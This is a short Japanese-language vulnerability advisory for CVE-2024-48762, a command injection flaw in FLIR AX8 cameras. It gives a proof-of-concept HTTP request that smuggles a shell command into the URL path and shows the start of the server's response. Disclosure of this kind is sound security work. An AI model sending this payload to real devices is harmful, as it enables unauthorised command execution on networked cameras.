CVE-2024-48762

CVE-2024-48762 説明 FLIR AX8（バージョン1.46.16まで）の/usr/www/application/models/settingscamera.phpにおけるコマンドインジェクションの脆弱性により、攻撃者はvalueパラメータを介して任意のコマンドを実行可能です。 POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX レスポンス HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14 Expires: Thu, 19 Nov 1981...